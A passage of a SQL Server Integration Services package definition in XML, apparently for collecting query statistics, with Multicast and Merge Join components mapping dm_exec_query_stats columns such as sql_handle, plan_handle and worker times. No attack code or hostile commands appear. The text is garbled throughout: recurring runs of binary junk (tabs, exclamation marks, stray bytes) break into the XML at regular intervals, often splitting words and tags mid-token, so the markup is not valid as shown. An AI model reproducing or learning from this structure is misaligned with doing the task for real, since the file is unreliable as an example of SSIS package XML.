http://www.microsoft.com/sql/support;0" description="Creates copies of a dataset." name="MLTCST - Split interesting queries"><inputs><input refId="Package\S	!!!!!!!!!!!!!!!!!!!!!!!!`:
&HvEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries.Inputs[Multicast Input 1]" name="Multicast Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries.Outputs[Multicast Output 2]" deleteOutputOnPathDetached="true" name="Multicast Output 2" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries.Outputs[Multicast Output 3]" deleteOutputOnPathDetached="true" name="Multicast Output 3" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries.Outputs[Multicast Output 1]" dangling="true" deleteOutputOnPathDetached="true" name="Multicast Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries.Inputs[Multicast Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot" componentClassID="{EC139FBC-694E-490B-8EA7-35690FB0F445}" contactInfo="Multicast;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Creates copies of a dataset." name="MLTCST - split last snapshot"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot.Inputs[Multicast Input 1]" name="Multicast Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot.Outputs[Multicast Output 1]" deleteOutputOnPathDetached="true" name="Multicast Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot.Outputs[Multicast Output 2]" deleteOutputOnPathDetached="true" name="Multicast Output 2" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot.Outputs[Multicast Output 3]" dangling="true" deleteOutputOnPathDetached="true" name="Multicast Output 3" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot.Inputs[Multicast Input 1]"><externalMetadataColumns/></output></outputs></compone	!!!!!!!!!!!!!!!!!!!!!!!!`:Hvnt><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle" componentClassID="{EC139FBC-694E-490B-8EA7-35690FB0F445}" contactInfo="Multicast;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Creates copies of a dataset." name="MLTCST - Split to upload sql_handle and plan_handle"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle.Inputs[Multicast Input 1]" name="Multicast Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle.Outputs[Multicast Output 4]" deleteOutputOnPathDetached="true" name="Multicast Output 4" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle.Outputs[Multicast Output 2]" deleteOutputOnPathDetached="true" name="Multicast Output 2" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle.Outputs[Multicast Output 1]" dangling="true" deleteOutputOnPathDetached="true" name="Multicast Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle.Inputs[Multicast Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries" componentClassID="{14D43A4F-D7BD-489D-829E-6DE35750CFE4}" contactInfo="Merge Join;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Merges data from two datasets by using a join." name="MRG - Append current stats on interesting queries" version="1"><properties><property dataType="System.Int32" description="Specifies the type of join to perform." name="JoinType" typeConverter="JoinType">2</property><property dataType="System.Int32" description="Specifies the number of columns in the ordering key." name="NumKeyColumns">2</property><property dataType="System.Boolean" description="Indicates whether the null values are treated as equal values." name="TreatNullsAsEqual">true</property><property dataType="System.Int32" description="Indicates the requested maximum buffers per input before blocking." name="MaxBuffersPerInput">5</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Left Input]" hasSideEffects="true" name="Merge Join Left Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload 	!!!!!!!!!!!!!!!!!!!!!!!!`:FRCHvBatch\MRG - Append current stats on interesting queries.Inputs[Merge Join Left Input].Columns[Top SQL Handle]" cachedDataType="bytes" cachedLength="44" cachedName="Top SQL Handle" cachedSortKeyPosition="1" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Outputs[Sort Output].Columns[Top SQL Handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Left Input].Columns[Top Plan Handle]" cachedDataType="bytes" cachedLength="44" cachedName="Top Plan Handle" cachedSortKeyPosition="2" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Outputs[Sort Output].Columns[Top Plan Handle]"/></inputColumns><externalMetadataColumns/></input><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input]" hasSideEffects="true" name="Merge Join Right Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[plan_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" cachedSortKeyPosition="3" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[statement_start_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" cachedSortKeyPosition="4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[statement_end_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and tex	!!!!!!!!!!!!!!!!!!!!!!!!`:B3Hvt\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[plan_generation_num]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" cachedSortKeyPosition="5" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[creation_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[last_execution_time]" cachedDataType="dbTimeStamp" cachedName="last_execution_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[last_execution_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[execution_count]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_logical_reads]"/><inputColum	!!!!!!!!!!!!!!!!!!!!!!!!`:q
'Hvn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_worker_time]" cachedDataType="i8" cachedName="max_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_worker_time]" cachedDataType="i8" cachedName="min_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_physical_reads]" cachedDataType="i8" cachedName="min_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_physical_reads]" cachedDataType="i8" cachedName="max_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_logical_writes]" cachedDataType="i8" cachedName="min_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_logical_writ	!!!!!!!!!!!!!!!!!!!!!!!!`:nwHves]" cachedDataType="i8" cachedName="max_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_logical_reads]" cachedDataType="i8" cachedName="min_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_logical_reads]" cachedDataType="i8" cachedName="max_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_clr_time]" cachedDataType="i8" cachedName="min_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_clr_time]" cachedDataType="i8" cachedName="max_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_elapsed_time]" cachedDataType="i8" cachedName="min_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_elapsed_time]" cachedDataType="i8" cachedName="max_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB So	!!!!!!!!!!!!!!!!!!!!!!!!`:	IƈaHvurce Output].Columns[collection_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Output].Columns[snapshot_id]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output]" isSorted="true" name="Merge Join Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[statement_start_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[statement_start_offset]" name="statement_start_offset"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[statement_start_offset]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[statement_end_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[statement_end_offset]" name="statement_end_offset"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[statement_end_offset]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[plan_generation_num]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[plan_generation_num]" name="plan_generation_num"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[plan_generation_num]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[creation_time]" dataT	!!!!!!!!!!!!!!!!!!!!!!!!`:
Hvype="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[creation_time]" name="creation_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[creation_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[last_execution_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[last_execution_time]" name="last_execution_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[last_execution_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]" name="execution_count"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[execution_count]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]" name="total_worker_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_worker_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_phy	!!!!!!!!!!!!!!!!!!!!!!!!`:#cHvsical_reads]" name="total_physical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_physical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_writes]" name="total_logical_writes"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_logical_writes]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]" name="total_logical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_logical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]" name="total_clr_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_clr_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]" name="total_elapsed_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze q	!!!!!!!!!!!!!!!!!!!!!!!!`:-Hvuery statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_elapsed_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join 